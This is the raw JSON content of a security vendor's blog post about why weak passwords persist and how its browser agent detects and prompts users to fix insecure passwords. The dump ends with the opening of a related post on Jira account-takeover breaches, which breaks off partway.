posture.",{"data":135767,"content":135768,"nodeType":972},{},[],{"data":135770,"content":135771,"nodeType":981},{},[135772],{"data":135773,"marks":135774,"value":135775,"nodeType":865},{},[],"3 reasons why we’re still stuck with passwords",{"data":135777,"content":135778,"nodeType":866},{},[135779],{"data":135780,"marks":135781,"value":135782,"nodeType":865},{},[],"At the risk of preaching to the choir, let’s review why we’re still stuck with passwords. ",{"data":135784,"content":135785,"nodeType":866},{},[135786],{"data":135787,"marks":135788,"value":135789,"nodeType":865},{},[],"It’s worth stating the Push perspective up front: We’re not here to push the narrative that you must completely get rid of passwords. To begin with, it’s not easy to get rid of them. Like the imaginary scene from the passwordless support group, we’ve lived the reality of this.",{"data":135791,"content":135792,"nodeType":866},{},[135793],{"data":135794,"marks":135795,"value":135796,"nodeType":865},{},[],"What we observe across our install base for the Push browser agent reinforces this reality. For the last 1 million or so logins that Push recorded, more than a quarter (26%) were password logins.",{"data":135798,"content":135799,"nodeType":7584},{},[135800],{"data":135801,"content":135802,"nodeType":866},{},[135803],{"data":135804,"marks":135805,"value":135806,"nodeType":865},{},[],"For the last 1M+ logins that the Push browser agent observed, more than a quarter were password logins.",{"data":135808,"content":135809,"nodeType":866},{},[135810],{"data":135811,"marks":135812,"value":135813,"nodeType":865},{},[],"Of those password logins, 18% had a security issue with the password — reused, easily guessable, already leaked in a public breach list, or actively for sale in criminal forums.",{"data":135815,"content":135816,"nodeType":866},{},[135817],{"data":135818,"marks":135819,"value":135820,"nodeType":865},{},[],"Yet when strong, unique passwords are used in conjunction with MFA, they can provide a powerful line of defense. Indeed, in cases where onboarding an app to SSO isn’t possible (for reasons we’ll cover below), a strong, unique password plus MFA is the most pragmatic solution you can achieve.",{"data":135822,"content":135823,"nodeType":866},{},[135824],{"data":135825,"marks":135826,"value":135827,"nodeType":865},{},[],"Here’s why bad passwords persist, and why it matters.",{"data":135829,"content":135830,"nodeType":1317},{},[135831],{"data":135832,"marks":135833,"value":135835,"nodeType":865},{},[135834],{"type":926},"Systemic reasons",{"data":135837,"content":135838,"nodeType":866},{},[135839],{"data":135840,"marks":135841,"value":135842,"nodeType":865},{},[],"If we zoom out, there are several systemic reasons that contribute to the persistence of password security issues:",{"data":135844,"content":135845,"nodeType":1616},{},[135846,135873,135899],{"data":135847,"content":135848,"nodeType":1570},{},[135849],{"data":135850,"content":135851,"nodeType":866},{},[135852,135857,135861,135869],{"data":135853,"marks":135854,"value":135856,"nodeType":865},{},[135855],{"type":926},"Self-adoption of work apps",{"data":135858,"marks":135859,"value":135860,"nodeType":865},{},[]," makes it extremely difficult to know all the workforce identities that exist across your environment, let alone whether they’re using a secure authentication method, or the strength or uniqueness of their password. Push’s ",{"data":135862,"content":135863,"nodeType":889},{"uri":6698},[135864],{"data":135865,"marks":135866,"value":135868,"nodeType":865},{},[135867],{"type":943},"own research",{"data":135870,"marks":135871,"value":135872,"nodeType":865},{},[]," shows that for an average organization, each employee has 15 identities.",{"data":135874,"content":135875,"nodeType":1570},{},[135876],{"data":135877,"content":135878,"nodeType":866},{},[135879,135884,135888,135895],{"data":135880,"marks":135881,"value":135883,"nodeType":865},{},[135882],{"type":926},"Apps optimize signups for low friction, not security.",{"data":135885,"marks":135886,"value":135887,"nodeType":865},{},[]," That often results in multiple authentication methods tied to any given account because local password accounts can still persist even after SSO onboarding — a phenomenon that we call ",{"data":135889,"content":135890,"nodeType":889},{"uri":53259},[135891],{"data":135892,"marks":135893,"value":6715,"nodeType":865},{},[135894],{"type":943},{"data":135896,"marks":135897,"value":135898,"nodeType":865},{},[]," because they provide attackers with a way around a company’s enterprise SSO solution. These local accounts represent a significant risk, and most are invisible. Which brings us to …",{"data":135900,"content":135901,"nodeType":1570},{},[135902],{"data":135903,"content":135904,"nodeType":866},{},[135905,135910],{"data":135906,"marks":135907,"value":135909,"nodeType":865},{},[135908],{"type":926},"Many apps provide very little information to admins about the posture of accounts",{"data":135911,"marks":135912,"value":135913,"nodeType":865},{},[]," on that service, and even fewer offer management options to address security issues on those accounts. Some services provide no information at all about which accounts can even access a given tenant.",{"data":135915,"content":135916,"nodeType":866},{},[135917,135922],{"data":135918,"marks":135919,"value":135921,"nodeType":865},{},[135920],{"type":926},"The impact: ",{"data":135923,"marks":135924,"value":135925,"nodeType":865},{},[],"These systemic factors contribute to what we see many organizations grappling with: Known visibility gaps in their workforce identities, which are scattered across many more third-party apps than they imagine, and unknown account security risks for both managed and unmanaged apps.",{"data":135927,"content":135928,"nodeType":866},{},[135929],{"data":135930,"marks":135931,"value":135932,"nodeType":865},{},[],"These gaps open up a large attack surface for organizations. The 2024 Verizon DBIR found that 79% of web application compromises were the result of breached creds, and researchers at IBM reported last year that they observed a 71% year-over-year increase in cyberattacks using stolen or compromised credentials.",{"data":135934,"content":135935,"nodeType":1317},{},[135936],{"data":135937,"marks":135938,"value":135940,"nodeType":865},{},[135939],{"type":926},"Technical reasons",{"data":135942,"content":135943,"nodeType":866},{},[135944],{"data":135945,"marks":135946,"value":135947,"nodeType":865},{},[],"There are also several technical reasons why bad passwords persist:",{"data":135949,"content":135950,"nodeType":1616},{},[135951,135977],{"data":135952,"content":135953,"nodeType":1570},{},[135954],{"data":135955,"content":135956,"nodeType":866},{},[135957,135960,135969,135973],{"data":135958,"marks":135959,"value":21,"nodeType":865},{},[],{"data":135961,"content":135962,"nodeType":889},{"uri":131613},[135963],{"data":135964,"marks":135965,"value":135968,"nodeType":865},{},[135966,135967],{"type":943},{"type":926},"Going passwordless is hard",{"data":135970,"marks":135971,"value":2688,"nodeType":865},{},[135972],{"type":926},{"data":135974,"marks":135975,"value":135976,"nodeType":865},{},[],"because it requires a large investment of time, money, and training for end-users. In environments with a mix of older and newer infrastructure, it can be challenging to get complete coverage, and employees may struggle with the transition to device-based authentication (especially when they lose their device and aren’t familiar with how to regain account access).",{"data":135978,"content":135979,"nodeType":1570},{},[135980],{"data":135981,"content":135982,"nodeType":866},{},[135983,135988,135992,136000],{"data":135984,"marks":135985,"value":135987,"nodeType":865},{},[135986],{"type":926},"Many apps do not even provide a SAML option",{"data":135989,"marks":135990,"value":135991,"nodeType":865},{},[],", making it difficult to onboard every business app to SSO even once you know about them all. Last we checked, only about 30% of commonly used work apps supported SAML. Even when apps do provide the option, many charge the infamous “",{"data":135993,"content":135995,"nodeType":889},{"uri":135994},"https://sso.tax/",[135996],{"data":135997,"marks":135998,"value":62111,"nodeType":865},{},[135999],{"type":943},{"data":136001,"marks":136002,"value":136003,"nodeType":865},{},[],",” putting the feature behind enterprise plans.",{"data":136005,"content":136006,"nodeType":866},{},[136007,136012],{"data":136008,"marks":136009,"value":136011,"nodeType":865},{},[136010],{"type":926},"The impact:",{"data":136013,"marks":136014,"value":136015,"nodeType":865},{},[]," What ends up happening in many organizations is a patchwork of login methods, including passwords, passkeys, OIDC, and SAML. Looking at data from Push’s install base, we see on average around 15,000 accounts per 1,000 users, with 5,900+ outside of SSO — about 40%. ",{"data":136017,"content":136018,"nodeType":866},{},[136019],{"data":136020,"marks":136021,"value":136022,"nodeType":865},{},[],"That means more — not less — for a security and IT team to manage, often without the visibility or control they need to do so effectively.",{"data":136024,"content":136028,"nodeType":912},{"target":136025},{"sys":136026},{"id":136027,"type":909,"linkType":910},"2QnWVpPYRyJQaQ5TuKSSLp",[],{"data":136030,"content":136031,"nodeType":1317},{},[136032],{"data":136033,"marks":136034,"value":136036,"nodeType":865},{},[136035],{"type":926},"Human reasons",{"data":136038,"content":136039,"nodeType":866},{},[136040],{"data":136041,"marks":136042,"value":136043,"nodeType":865},{},[],"Finally, there are a lot of human reasons why poor passwords persist, all of them familiar and intractable:",{"data":136045,"content":136046,"nodeType":1616},{},[136047,136062],{"data":136048,"content":136049,"nodeType":1570},{},[136050],{"data":136051,"content":136052,"nodeType":866},{},[136053,136058],{"data":136054,"marks":136055,"value":136057,"nodeType":865},{},[136056],{"type":926},"Password change fatigue",{"data":136059,"marks":136060,"value":136061,"nodeType":865},{},[],", resulting in weak and reused passwords — often driven by incomplete adoption of enterprise password managers or outdated password security policies that require users to rotate passwords frequently. ",{"data":136063,"content":136064,"nodeType":1570},{},[136065],{"data":136066,"content":136067,"nodeType":866},{},[136068,136073],{"data":136069,"marks":136070,"value":136072,"nodeType":865},{},[136071],{"type":926},"Shortcuts that busy humans take",{"data":136074,"marks":136075,"value":136076,"nodeType":865},{},[]," to get work done on a daily basis, including reusing passwords across personal and corporate accounts, storing passwords insecurely, and using easier-to-remember passwords over secure, complex ones.  ",{"data":136078,"content":136079,"nodeType":866},{},[136080,136084,136088,136096],{"data":136081,"marks":136082,"value":136011,"nodeType":865},{},[136083],{"type":926},{"data":136085,"marks":136086,"value":136087,"nodeType":865},{},[]," When there’s a large, complex, and largely invisible attack surface made up of these online corporate identities, adversaries profit. Just look at any of the ",{"data":136089,"content":136090,"nodeType":889},{"uri":110220},[136091],{"data":136092,"marks":136093,"value":136095,"nodeType":865},{},[136094],{"type":943},"major identity attacks",{"data":136097,"marks":136098,"value":136099,"nodeType":865},{},[]," of the past year, some of which used password-spraying and credential-stuffing techniques to compromise accounts and pivot to high-value systems and data.",{"data":136101,"content":136102,"nodeType":866},{},[136103],{"data":136104,"marks":136105,"value":136106,"nodeType":865},{},[],"Password reuse also extends the blast radius for any account takeover incident when MFA is missing — a gap that occurs more often than you may think. Typically, 37% of logins observed by Push upon initial deployment into a new customer environment do not use any form of MFA.",{"data":136108,"content":136109,"nodeType":7584},{},[136110],{"data":136111,"content":136112,"nodeType":866},{},[136113],{"data":136114,"marks":136115,"value":136116,"nodeType":865},{},[],"2 in 5 logins observed by Push upon initial deployment into a new customer environment do not use any form of MFA.",{"data":136118,"content":136119,"nodeType":972},{},[],{"data":136121,"content":136122,"nodeType":981},{},[136123],{"data":136124,"marks":136125,"value":136126,"nodeType":865},{},[],"Why identity posture matters more in a SaaS-first world",{"data":136128,"content":136129,"nodeType":866},{},[136130,136134,136142],{"data":136131,"marks":136132,"value":136133,"nodeType":865},{},[],"When most work now happens via the browser on web-based applications, the stakes are even higher for preventing account takeover. That’s because the way that attacks occur in a SaaS environment is ",{"data":136135,"content":136136,"nodeType":889},{"uri":110363},[136137],{"data":136138,"marks":136139,"value":136141,"nodeType":865},{},[136140],{"type":943},"very different",{"data":136143,"marks":136144,"value":136145,"nodeType":865},{},[]," from traditional network attacks, and there are few effective ways to detect and respond post-account compromise.",{"data":136147,"content":136148,"nodeType":866},{},[136149],{"data":136150,"marks":136151,"value":136152,"nodeType":865},{},[],"The average SaaS attack path looks like this:",{"data":136154,"content":136155,"nodeType":1616},{},[136156,136166,136176],{"data":136157,"content":136158,"nodeType":1570},{},[136159],{"data":136160,"content":136161,"nodeType":866},{},[136162],{"data":136163,"marks":136164,"value":136165,"nodeType":865},{},[],"Attackers gain control of legitimate employee accounts using stolen credentials or via password-spraying or credential-stuffing techniques.",{"data":136167,"content":136168,"nodeType":1570},{},[136169],{"data":136170,"content":136171,"nodeType":866},{},[136172],{"data":136173,"marks":136174,"value":136175,"nodeType":865},{},[],"Attackers exfiltrate data.",{"data":136177,"content":136178,"nodeType":1570},{},[136179],{"data":136180,"content":136181,"nodeType":866},{},[136182],{"data":136183,"marks":136184,"value":136185,"nodeType":865},{},[],"The end.",{"data":136187,"content":136188,"nodeType":866},{},[136189],{"data":136190,"marks":136191,"value":136192,"nodeType":865},{},[],"Compare that to traditional network or enterprise cloud attacks, which usually involve more complex lateral movement, privilege escalation, and defense evasion.",{"data":136194,"content":136195,"nodeType":866},{},[136196],{"data":136197,"marks":136198,"value":136199,"nodeType":865},{},[],"With limited log data and few response capabilities provided by most SaaS apps, security teams also have few good options to stop the damage of an account takeover once one has occurred. ",{"data":136201,"content":136202,"nodeType":866},{},[136203],{"data":136204,"marks":136205,"value":136206,"nodeType":865},{},[],"That’s why at Push, we advocate for “shifting left,” and preventing account takeover before it happens.",{"data":136208,"content":136212,"nodeType":912},{"target":136209},{"sys":136210},{"id":136211,"type":909,"linkType":910},"6wIzMu3jBhaas9jtpV48bz",[],{"data":136214,"content":136215,"nodeType":972},{},[],{"data":136217,"content":136218,"nodeType":981},{},[136219],{"data":136220,"marks":136221,"value":136222,"nodeType":865},{},[],"How Push helps you ensure strong passwords",{"data":136224,"content":136225,"nodeType":866},{},[136226],{"data":136227,"marks":136228,"value":136229,"nodeType":865},{},[],"There are four capabilities that security teams need in order to regain control over password security issues across their corporate accounts. Here’s how Push accomplishes each one.",{"data":136231,"content":136232,"nodeType":1317},{},[136233],{"data":136234,"marks":136235,"value":136237,"nodeType":865},{},[136236],{"type":926},"1. A reliable inventory of all the apps that employees are using, including work apps and internal apps.",{"data":136239,"content":136240,"nodeType":866},{},[136241],{"data":136242,"marks":136243,"value":136244,"nodeType":865},{},[],"Push achieves this by deploying a browser agent to employee browsers that can directly observe their login activity, which feeds the data back into an admin console (or your SIEM/SOAR or other third-party system). You can enforce the installation of the agent using any MDM solution, on all major browsers.",{"data":136246,"content":136247,"nodeType":866},{},[136248],{"data":136249,"marks":136250,"value":136251,"nodeType":865},{},[],"Once the agent is activated, it begins immediately capturing employee logins and produces a real-time inventory of all your work and internal apps. Because Push observes the login directly in the browser, it can identify all the apps and accounts being used by your employees — both managed and unmanaged (shadow IT).",{"data":136253,"content":136254,"nodeType":866},{},[136255,136259,136264],{"data":136256,"marks":136257,"value":136258,"nodeType":865},{},[],"You can also configure Push to monitor ",{"data":136260,"marks":136261,"value":136263,"nodeType":865},{},[136262],{"type":898},"any",{"data":136265,"marks":136266,"value":136267,"nodeType":865},{},[]," login to a work app, regardless of the associated email domain of the employee. This means you can monitor personal account logins to apps that are commonly used for work.",{"data":136269,"content":136273,"nodeType":912},{"target":136270},{"sys":136271},{"id":136272,"type":909,"linkType":910},"4ctCB7kBscj12BnfHhk3ro",[],{"data":136275,"content":136276,"nodeType":1317},{},[136277],{"data":136278,"marks":136279,"value":136281,"nodeType":865},{},[136280],{"type":926},"2. A way to identify the login methods an account is using, whether that’s SAML, OIDC, or password.",{"data":136283,"content":136284,"nodeType":866},{},[136285],{"data":136286,"marks":136287,"value":136288,"nodeType":865},{},[],"Again, because Push observes the login event, it can analyze the authentication method or methods in use by a given account. Push tells you which SSO accounts still have passwords associated with them, and which authentication methods are being actively used.",{"data":136290,"content":136294,"nodeType":912},{"target":136291},{"sys":136292},{"id":136293,"type":909,"linkType":910},"pVD238hZ331gjWalDTM1q",[],{"data":136296,"content":136297,"nodeType":1317},{},[136298],{"data":136299,"marks":136300,"value":136302,"nodeType":865},{},[136301],{"type":926},"3. A method for analyzing whether an employee is using secure passwords on all their accounts.",{"data":136304,"content":136305,"nodeType":866},{},[136306,136310,136319],{"data":136307,"marks":136308,"value":136309,"nodeType":865},{},[],"Using Push, you can also check the posture of all your employee accounts. The browser agent accomplishes this by ",{"data":136311,"content":136313,"nodeType":889},{"uri":136312},"https://pushsecurity.com/help/10065#start",[136314],{"data":136315,"marks":136316,"value":136318,"nodeType":865},{},[136317],{"type":943},"creating a salted hash",{"data":136320,"marks":136321,"value":136322,"nodeType":865},{},[]," of a user’s observed password and then taking the first 8 characters of that hash to store locally in the browser.",{"data":136324,"content":136325,"nodeType":866},{},[136326],{"data":136327,"marks":136328,"value":136329,"nodeType":865},{},[],"This allows Push to analyze whether the password is weak (comparing the hash to a list of 10,000 common basewords and common permutations); or reused across accounts.",{"data":136331,"content":136332,"nodeType":866},{},[136333,136337,136346,136350,136359],{"data":136334,"marks":136335,"value":136336,"nodeType":865},{},[],"Push can also identify when employee passwords have ",{"data":136338,"content":136340,"nodeType":889},{"uri":136339},"https://pushsecurity.com/help/10066#start",[136341],{"data":136342,"marks":136343,"value":136345,"nodeType":865},{},[136344],{"type":943},"appeared in a public breach list",{"data":136347,"marks":136348,"value":136349,"nodeType":865},{},[]," using the Have I Been Pwned service, using a k-anonymized hash. Using similar secure methods, Push can detect when employees are sharing account credentials, whether they’re using a ",{"data":136351,"content":136353,"nodeType":889},{"uri":136352},"https://pushsecurity.com/help/10085/#start",[136354],{"data":136355,"marks":136356,"value":136358,"nodeType":865},{},[136357],{"type":943},"password manager",{"data":136360,"marks":136361,"value":136362,"nodeType":865},{},[],", and which one.",{"data":136364,"content":136365,"nodeType":866},{},[136366,136369,136378],{"data":136367,"marks":136368,"value":58388,"nodeType":865},{},[],{"data":136370,"content":136371,"nodeType":889},{"uri":13526},[136372],{"data":136373,"marks":136374,"value":136377,"nodeType":865},{},[136375,136376],{"type":943},{"type":926},"Stolen credentials detection",{"data":136379,"marks":136380,"value":136381,"nodeType":865},{},[]," feature, you can also get alerted when an employee is using credentials that match those for sale in criminal forums. Push integrates with commercial threat intelligence sources to perform these matches, and you can also bring your own TI using the Push REST API to perform additional checks for in-use stolen creds. This check still happens locally in the browser, so no hashes are sent to third-party systems.",{"data":136383,"content":136386,"nodeType":912},{"target":136384},{"sys":136385},{"id":123970,"type":909,"linkType":910},[],{"data":136388,"content":136389,"nodeType":866},{},[136390,136394,136403],{"data":136391,"marks":136392,"value":136393,"nodeType":865},{},[],"If you configure Push to also monitor for employees who are logging in to work apps using ",{"data":136395,"content":136397,"nodeType":889},{"uri":136396},"https://pushsecurity.com/help/10105#start",[136398],{"data":136399,"marks":136400,"value":136402,"nodeType":865},{},[136401],{"type":943},"personal email addresses",{"data":136404,"marks":136405,"value":136406,"nodeType":865},{},[]," or any non-corporate email, Push can identify when personal accounts and work accounts are reusing passwords for the same work application.",{"data":136408,"content":136409,"nodeType":866},{},[136410,136414,136423],{"data":136411,"marks":136412,"value":136413,"nodeType":865},{},[],"Using the Push ",{"data":136415,"content":136417,"nodeType":889},{"uri":136416},"https://pushsecurity.com/help/audience/administrators/docs/getting-started/#api-and-webhooks",[136418],{"data":136419,"marks":136420,"value":136422,"nodeType":865},{},[136421],{"type":943},"REST API and webhooks",{"data":136424,"marks":136425,"value":136426,"nodeType":865},{},[],", you can get alerted when Push raises a security finding for an account, and when a finding is resolved.",{"data":136428,"content":136429,"nodeType":1317},{},[136430],{"data":136431,"marks":136432,"value":136434,"nodeType":865},{},[136433],{"type":926},"4. The ability to solve any issues at scale, including remediating bad passwords and enforcing MFA, even on apps where the security team doesn’t have administrative control.",{"data":136436,"content":136437,"nodeType":866},{},[136438],{"data":136439,"marks":136440,"value":136441,"nodeType":865},{},[],"Finally, you can enforce self-remediation workflows using Push’s position in the browser, right where employees are working. ",{"data":136443,"content":136444,"nodeType":866},{},[136445],{"data":136446,"marks":136447,"value":136448,"nodeType":865},{},[],"Push recently released a new in-browser control to enforce strong passwords. It works by detecting when an employee has a password security issue, and then prompting them to update their password by displaying a customizable banner message when they log in to the affected account.",{"data":136450,"content":136454,"nodeType":912},{"target":136451},{"sys":136452},{"id":136453,"type":909,"linkType":910},"4IfBLaE66CJSsb5h44vSNp",[],{"data":136456,"content":136457,"nodeType":866},{},[136458,136462,136469],{"data":136459,"marks":136460,"value":136461,"nodeType":865},{},[],"This control complements an existing ",{"data":136463,"content":136464,"nodeType":889},{"uri":132524},[136465],{"data":136466,"marks":136467,"value":58363,"nodeType":865},{},[136468],{"type":943},{"data":136470,"marks":136471,"value":136472,"nodeType":865},{},[]," guardrail, which uses a similar workflow to prompt employees to register for MFA on apps where it’s missing.",{"data":136474,"content":136475,"nodeType":972},{},[],{"data":136477,"content":136478,"nodeType":981},{},[136479],{"data":136480,"marks":136481,"value":136483,"nodeType":865},{},[136482],{"type":926},"A closer look at password enforcement",{"data":136485,"content":136486,"nodeType":866},{},[136487,136491,136495],{"data":136488,"marks":136489,"value":136490,"nodeType":865},{},[],"In the spirit of helping users do the right thing, we designed the",{"data":136492,"marks":136493,"value":2688,"nodeType":865},{},[136494],{"type":926},{"data":136496,"marks":136497,"value":136498,"nodeType":865},{},[],"password enforcement control to meet users where they are, in the most relevant context where they can fix the problem. ",{"data":136500,"content":136501,"nodeType":866},{},[136502],{"data":136503,"marks":136504,"value":136505,"nodeType":865},{},[],"Because this control is powered by the Push browser agent, security teams don’t need administrative control over every app where password accounts exist — which often isn’t practical for all the reasons we reviewed earlier. Instead, they can use Push to prompt employees to fix the issue themselves.",{"data":136507,"content":136508,"nodeType":866},{},[136509],{"data":136510,"marks":136511,"value":136512,"nodeType":865},{},[],"Here’s a closer look at how it works:",{"data":136514,"content":136515,"nodeType":1616},{},[136516,136543,136553],{"data":136517,"content":136518,"nodeType":1570},{},[136519],{"data":136520,"content":136521,"nodeType":866},{},[136522,136526,136530,136534,136539],{"data":136523,"marks":136524,"value":136525,"nodeType":865},{},[],"You can enable ",{"data":136527,"marks":136528,"value":58371,"nodeType":865},{},[136529],{"type":926},{"data":136531,"marks":136532,"value":136533,"nodeType":865},{},[]," from the tile on the ",{"data":136535,"marks":136536,"value":136538,"nodeType":865},{},[136537],{"type":926},"Controls",{"data":136540,"marks":136541,"value":136542,"nodeType":865},{},[]," page of the Push admin console. ",{"data":136544,"content":136545,"nodeType":1570},{},[136546],{"data":136547,"content":136548,"nodeType":866},{},[136549],{"data":136550,"marks":136551,"value":136552,"nodeType":865},{},[],"Using the rule editor, select whether you want to apply the control for all employees, or just specific groups or individuals, and which apps it should apply to. You can also select which types of password security issues you want to prompt users about.",{"data":136554,"content":136555,"nodeType":1570},{},[136556],{"data":136557,"content":136558,"nodeType":866},{},[136559],{"data":136560,"marks":136561,"value":136562,"nodeType":865},{},[],"Then customize the message that employees will see. Push will then automatically display the banner based on your criteria. Where possible, Push will include a link in the banner that takes employees directly to the page in the app where they can change their password — or you can add a link yourself.",{"data":136564,"content":136568,"nodeType":912},{"target":136565},{"sys":136566},{"id":136567,"type":909,"linkType":910},"shpVOAMlk7OE1mWrE9h8S",[],{"data":136570,"content":136571,"nodeType":866},{},[136572],{"data":136573,"marks":136574,"value":136575,"nodeType":865},{},[],"Once the password has been changed and Push verifies that the new password is strong, you’ll see the security finding cleared from the account record in the admin console and the banner will no longer display to the end-user.",{"data":136577,"content":136578,"nodeType":866},{},[136579],{"data":136580,"marks":136581,"value":136582,"nodeType":865},{},[],"Push also sends webhook events when:",{"data":136584,"content":136585,"nodeType":1616},{},[136586,136596,136606,136616],{"data":136587,"content":136588,"nodeType":1570},{},[136589],{"data":136590,"content":136591,"nodeType":866},{},[136592],{"data":136593,"marks":136594,"value":136595,"nodeType":865},{},[],"A banner is displayed",{"data":136597,"content":136598,"nodeType":1570},{},[136599],{"data":136600,"content":136601,"nodeType":866},{},[136602],{"data":136603,"marks":136604,"value":136605,"nodeType":865},{},[],"A user clicks the link in the banner to take action",{"data":136607,"content":136608,"nodeType":1570},{},[136609],{"data":136610,"content":136611,"nodeType":866},{},[136612],{"data":136613,"marks":136614,"value":136615,"nodeType":865},{},[],"A password is updated",{"data":136617,"content":136618,"nodeType":1570},{},[136619],{"data":136620,"content":136621,"nodeType":866},{},[136622],{"data":136623,"marks":136624,"value":136625,"nodeType":865},{},[],"A password security finding is resolved",{"data":136627,"content":136628,"nodeType":972},{},[],{"data":136630,"content":136631,"nodeType":981},{},[136632],{"data":136633,"marks":136634,"value":136636,"nodeType":865},{},[136635],{"type":926},"Where to begin",{"data":136638,"content":136639,"nodeType":866},{},[136640],{"data":136641,"marks":136642,"value":136643,"nodeType":865},{},[],"Most organizations we work with deploy the Push agent first to get an initial understanding of their attack surface and account posture issues. Then we recommend enabling the one-two punch of MFA and strong password enforcement guardrails. You can use both controls in tandem, and Push will first seek to resolve the password issues on a given account, and then prompt the user to register for MFA.",{"data":136645,"content":136646,"nodeType":972},{},[],{"data":136648,"content":136649,"nodeType":981},{},[136650],{"data":136651,"marks":136652,"value":113824,"nodeType":865},{},[],{"data":136654,"content":136655,"nodeType":866},{},[136656,136660,136667],{"data":136657,"marks":136658,"value":136659,"nodeType":865},{},[],"If you want to learn more about how Push helps you to detect and defeat common identity attack techniques like AiTM phishing, credential stuffing, and session hijacking while improving your workforce identity posture, book some time with one of our team for a ",{"data":136661,"content":136662,"nodeType":889},{"uri":16069},[136663],{"data":136664,"marks":136665,"value":2298,"nodeType":865},{},[136666],{"type":943},{"data":136668,"marks":136669,"value":1615,"nodeType":865},{},[],{"entries":136671},{"hyperlink":136672,"inline":136673,"block":136674},[],[],[136675,136681,136688,136694,136700,136707,136710,136717],{"sys":136676,"__typename":1390,"title":136677,"caption":136678,"layoutMode":59,"file":136679},{"id":135742},"Password users support group","The weekly passwordless support group meet-up",{"url":136680,"width":134235,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/2Hnrt8xKG7RFyaHupm9ZkU/b630a7bc7bba8b5ad2c05eac57893fba/image__47_.png",{"sys":136682,"__typename":1390,"title":136683,"caption":136684,"layoutMode":59,"file":136685},{"id":136027},"Sankey","How identity vulnerabilities are introduced based on account authentication methods, and how they can be exploited using different attack techniques.",{"url":136686,"width":136687,"height":136687},"https://images.ctfassets.net/y1cdw1ablpvd/55oogXnSqSaDWXvUS0QhES/9e14e2456093c868881578a02d925e29/Sankey_chart_-_Final.png",4320,{"sys":136689,"__typename":1390,"title":136690,"caption":136690,"layoutMode":59,"file":136691},{"id":136211},"The average SaaS attack path involves direct in-app compromise following account takeover",{"url":136692,"width":136693,"height":111668},"https://images.ctfassets.net/y1cdw1ablpvd/3DOQd2fcWYdjMSVBZZvHHU/2cd487cb316aef8acd77e14a1960c391/SaaS_attack_path.png",1362,{"sys":136695,"__typename":1390,"title":136696,"caption":136696,"layoutMode":59,"file":136697},{"id":136272},"Push can find all the apps your employees are accessing, whether or not you know about them.",{"url":136698,"width":136699,"height":87729},"https://images.ctfassets.net/y1cdw1ablpvd/5A4DDagLgRbT0na0zoplPA/27e3bbae558e27090952f97c506e1620/image9.png",1528,{"sys":136701,"__typename":1390,"title":136702,"caption":136702,"layoutMode":59,"file":136703},{"id":136293},"Many apps allow multiple login methods, including local password access, even once the application has been onboarded to SSO.",{"url":136704,"width":136705,"height":136706},"https://images.ctfassets.net/y1cdw1ablpvd/w2X0MdbvfrmPcpPMUbLlC/12d42929f0f58134706ae1da46c82bf7/image3.png",1405,446,{"sys":136708,"__typename":1390,"title":129366,"caption":129367,"layoutMode":59,"file":136709},{"id":123970},{"url":129369,"width":129370,"height":129371},{"sys":136711,"__typename":1390,"title":136712,"caption":136713,"layoutMode":59,"file":136714},{"id":136453},"Password enforcement banner github","Push displays an in-browser splash screen prompting the user to change their insecure password at the point of login to an app",{"url":136715,"width":55424,"height":136716},"https://images.ctfassets.net/y1cdw1ablpvd/3vzYwxGIB9QEyevlCAQhSQ/5e97d859f943610bff21255072ebb982/image10.png",809,{"sys":136718,"__typename":52243,"title":136719,"arcadeDemoUrl":136720,"playText":59377},{"id":136567},"Arcade: Find and remediate password vulnerabilities in Atlassian","https://demo.arcade.software/O5HwAmXSXboyKZkkO6XS?embed",{"items":136722},[],{},"Enforce strong passwords at the point of login",{"url":136726},"https://images.ctfassets.net/y1cdw1ablpvd/2R3y1Vz94cVhq3HoDTc4XJ/4969af758b586dfee340169ea0d620a5/Kelly_Product_Video_Thumbnail__7_.jpg","2025-03-25T00:00:00.000Z",{"items":136729},[136730,137426,138126],{"__typename":1429,"sys":136731,"content":136732,"title":87619,"synopsis":137415,"hashTags":59,"publishedDate":136727,"slug":87620,"tagsCollection":137416,"authorsCollection":137422},{"id":80150},{"json":136733},{"data":136734,"content":136735,"nodeType":1382},{},[136736,136752,136758,136764,136770,136773,136780,136787,136880,136886,136893,136900,136903,136911,136919,136926,136979,136987,137004,137032,137039,137047,137054,137060,137079,137095,137101,137108,137134,137141,137148,137181,137188,137195,137214,137217,137225,137232,137239,137246,137254,137273,137279,137287,137306,137324,137329,137337,137344,137362,137369,137375,137378,137386,137393,137400],{"data":136737,"content":136738,"nodeType":866},{},[136739,136743,136748],{"data":136740,"marks":136741,"value":136742,"nodeType":865},{},[],"Since late 2024, attackers have been targeting organizations using Jira, the project management tool, taking over user accounts using compromised credentials. This has resulted in ",{"data":136744,"marks":136745,"value":136747,"nodeType":865},{},[136746],{"type":926},"six public breaches in five months",{"data":136749,"marks":136750,"value":136751,"nodeType":865},{},[]," where criminals made off with sensitive data and documentation, profiting by extorting the victims and selling the data on criminal forums. ",{"data":136753,"content":136757,"nodeType":912},{"target":136754},{"sys":136755},{"id":136756,"type":909,"linkType":910},"3QJBi8NiId1CccFmJrp8pu",[],{"data":136759,"content":136760,"nodeType":866},{},[136761],{"data":136762,"marks":136763,"value":21,"nodeType":865},{},[],{"data":136765,"content":136769,"nodeType":912},{"target":136766},{"sys":136767},{"id":136768,"type":909,"linkType":910},"79uXXgsAuOK9dKwYQFb0d1",[],{"data":136771,"content":136772,"nodeType":972},{},[],{"data":136774,"content":136775,"nodeType":981},{},[136776],{"data":136777,"marks":136778,"value":131568,"nodeType":865},{},[136779],{"type":926},{"data":136781,"content":136782,"nodeType":866},{},[136783],{"data":136784,"marks":136785,"value":136786,"nodeType":865},{},[],"Six attacks where stolen credentials were used to compromise the victim’s Jira tenant have been reported since November 2024, all attributed to operators belonging to the HELLCAT threat group. ",{"data":136788,"content":136789,"nodeType":1616},{},[136790,136805,136820,136835,136850,136865],{"data":136791,"content":136792,"nodeType":1570},{},[136793],{"data":136794,"content":136795,"nodeType":866},{},[136796,136801],{"data":136797,"marks":136798,"value":136800,"nodeType":865},{},[136799],{"type":926},"Affinitiv (March 2025): ",{"data":136802,"marks":136803,"value":136804,"nodeType":865},{},[],"Attackers stole a database containing over 470k unique emails and 780k records from marketing data analytics provider Affinitiv. ",{"data":136806,"content":136807,"nodeType":1570},{},[136808],{"data":136809,"content":136810,"nodeType":866},{},[136811,136816],{"data":136812,"marks":136813,"value":136815,"nodeType":865},{},[136814],{"type":926},"Ascom (March 2025):",{"data":136817,"marks":136818,"value":136819,"nodeType":865},{},[]," Attackers stole 44GB of data including source code for multiple products, details about various 